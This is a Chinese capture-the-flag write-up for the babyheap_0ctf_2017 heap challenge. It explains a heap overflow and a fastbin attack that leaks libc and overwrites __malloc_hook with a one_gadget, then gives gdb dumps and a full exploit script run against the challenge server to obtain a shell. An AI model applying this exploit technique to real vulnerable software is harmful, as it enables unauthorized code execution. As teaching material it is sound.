babyheap_0ctf_2017 堆技巧 fastbin-attack


常規檢查

逆向分析

  程序有四個功能

  • Allocate:分配內存大小並給出 index
  • Fill:輸入 index ,並分配內存進行內容寫入操作
  • Free:輸入 index ,釋放相應的內存空間
  • Dump:輸入 index ,打印內容

Allocate 函數

  • 分配的大小不能超過 4096 字節
  • *(24LL * i + a1):置 1 表示 chunk 已經創建
  • *(a1 + 24LL * i + 8):存儲 chunk 的大小
  • *(a1 + 24LL * i + 16):存儲 chunk 的地址

Fill 函數

  • 先判斷對應位是否為 1 ,即 chunk 是否存在
  • 如果存在把輸入的內容寫入 *(24LL * v2 + a1 + 16) 對應的地址中。
  • 同時這里沒有對 v3 的大小做限制,存在堆溢出

Free 函數

  • 先判斷對應位是否為 1 ,即 chunk 是否存在
  • 如果存在
    • 把對應位 *(24LL * v2 + a1) 置 0 ,表示 chunk 銷毀
    • 記錄 chunk 大小的 *(24LL * v2 + a1 + 8) 置 0
    • 釋放指針 *(24LL * v2 + a1 + 16) 對應的內存,即輸入內容的那部分

Dump 函數

  • 先判斷對應位是否為 1 ,即 chunk 是否存在
  • 如果存在,打印長度為 *(24LL * v2 + a1 + 8) 存儲字節數內容指針 *(24LL * v2 + a1 + 16) 指向的內容

利用思路

  兩次 double free 與 fastbin attack 。第一次先泄露 libc 地址,然后找到構造 fack chunk 的地址。第二次通過構造的 fack chunk 堆溢出覆寫 __malloc_hook 完成 get shell 。

利用過程

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

  由於 fastbin 是 LIFO ,切是單向鏈表鏈接的(依賴 fd 指針鏈接下一個 fastbin),所以我們 free 完之后 heap 情況如下

可以發現 index 為 2 的 chunk 的 fd 指針指向 index 為 1 的 chunk 。

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

  把 chunk 2 的內容覆蓋為 chunk 4 的地址,這樣相當於 chunk 4 已經被 free 了而且被存放在 fastbin 中。

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

  此時 heap 如下

gdb-peda$ x /40xg 0x55a64a9e8000 3
0x55a64a9e8000:	0x0000000000000000	0x0000000000000021  chunk 0 
0x55a64a9e8010:	0x0000000000000000	0x0000000000000000
0x55a64a9e8020:	0x0000000000000000	0x0000000000000021  chunk 1
0x55a64a9e8030:	0x0000000000000000	0x0000000000000000
0x55a64a9e8040:	0x0000000000000000	0x0000000000000021  chunk 2
0x55a64a9e8050:	0x000055a64a9e8080	0x0000000000000000
0x55a64a9e8060:	0x0000000000000000	0x0000000000000021  chunk 3
0x55a64a9e8070:	0x0000000000000000	0x0000000000000000
0x55a64a9e8080:	0x0000000000000000	0x0000000000000021  chunk 4
0x55a64a9e8090:	0x0000000000000000	0x0000000000000000
0x55a64a9e80a0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80b0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80c0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80d0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80e0:	0x0000000000000000	0x0000000000000000
0x55a64a9e80f0:	0x0000000000000000	0x0000000000000000
0x55a64a9e8100:	0x0000000000000000	0x0000000000000000
0x55a64a9e8110:	0x0000000000000000	0x0000000000020ef1
0x55a64a9e8120:	0x0000000000000000	0x0000000000000000
0x55a64a9e8130:	0x0000000000000000	0x0000000000000000

  我們等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有檢查, chunksize 必須與相應的 fastbin_index 匹配,所以我們覆蓋 chunk 4 的 size 為 fastbin 大小

allocate(0x10)
allocate(0x10)
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

  unsortbin 有一個特性,就是如果 usortbin 只有一個 bin ,它的 fd 和 bk 指針會指向同一個地址(unsorted bin 鏈表的頭部),這個地址為 main_arena + 0x58 ,而且 main_arena 又相對 libc 固定偏移 0x3c4b20 ,所以得到這個fd的值,然后減去0x58再減去main_arena相對於libc的固定偏移,即得到libc的基地址。所以我們需要把 chunk 改成大於 fastbin 的大小,這樣 free 后能進入 unsortbin 讓我們能夠泄露 libc 基址。
  我們的目標是覆蓋 __malloc_hook 函數,這樣我們調用 malloc 時就相當於調用我們寫入的內容

gdb-peda$ x/32xw (long long)(&main_arena)-0x40
0x7f2a8a09eae0 <_IO_wide_data_0+288>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eaf0 <_IO_wide_data_0+304>:	0x8a09d260	0x00007f2a	0x00000000	0x00000000
0x7f2a8a09eb00 <__memalign_hook>:	0x89d5fe20	0x00007f2a	0x89d5fa00	0x00007f2a
0x7f2a8a09eb10 <__malloc_hook>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb20 <main_arena>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb30 <main_arena+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000

   malloc 時還需要再次繞過檢測,我 malloc(0x60) 也就是 0x70 大小的 chunk

gdb-peda$ x/32xw (long long)(&main_arena)-0x40+0xd
0x7f2a8a09eaed <_IO_wide_data_0+301>:	0x60000000	0x2a8a09d2	0x0000007f	0x00000000
0x7f2a8a09eafd:	0x20000000	0x2a89d5fe	0x0000007f	0x2a89d5fa
0x7f2a8a09eb0d <__realloc_hook+5>:	0x0000007f	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb1d:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb2d <main_arena+13>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb3d <main_arena+29>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb4d <main_arena+45>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f2a8a09eb5d <main_arena+61>:	0x00000000	0x00000000	0x00000000	0x00000000

  可以發現在 0x7f2a8a09eaed 處構造塊可以繞過檢測(因為 7f 滿足 0x70 大小),可以計算 0x7f2a8a09eaed 距離 libc 基址的偏移為 0x3c4aed

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

  首先把 chunk 4 malloc 回來,這次 malloc 的大小在 fastbin 之內,然后把 chunk 4 的內容改為我們下一個要構造塊的地址(chunk 4 已經被 free 掉,所以無法用 fill(4) 寫入,由於我們剛剛把 chunk 2 的 fd 指針改為 chunk 4 的地址,所以第一次 malloc(0x10) 的時候是分配的原來 chunk 2 的塊給 index 1,第二次 malloc(0x10) 的時候就會分配 chunk 4 的塊給 index 2,也就是說 index 2 與 index 4 的內容都是 chunk 4)

allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
allocate(200)

  在 __malloc_hook 地址處寫入 one_gadget ,這樣再次 allocate 就可以調用 one_gadget 拿 shell

get flag

exp 腳本

from pwn_debug import *

pdbg = pwn_debug('babyheap_0ctf_2017')
pdbg.remote('node3.buuoj.cn',26076)
p = pdbg.run('remote')

def allocate(size):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil('Size: ')
	p.sendline(str(size))

def fill(idx,content):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvuntil('Size: ')
	p.sendline(str(len(content)))
	p.recvuntil('Content: ')
	p.send(content)

def free(idx):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvline()
	return p.recvline()

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

#gdb.attach(p)

allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

#gdb.attach(p)

allocate(255)

p.interactive()

內容來源

0ctf2017 - babyheap


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM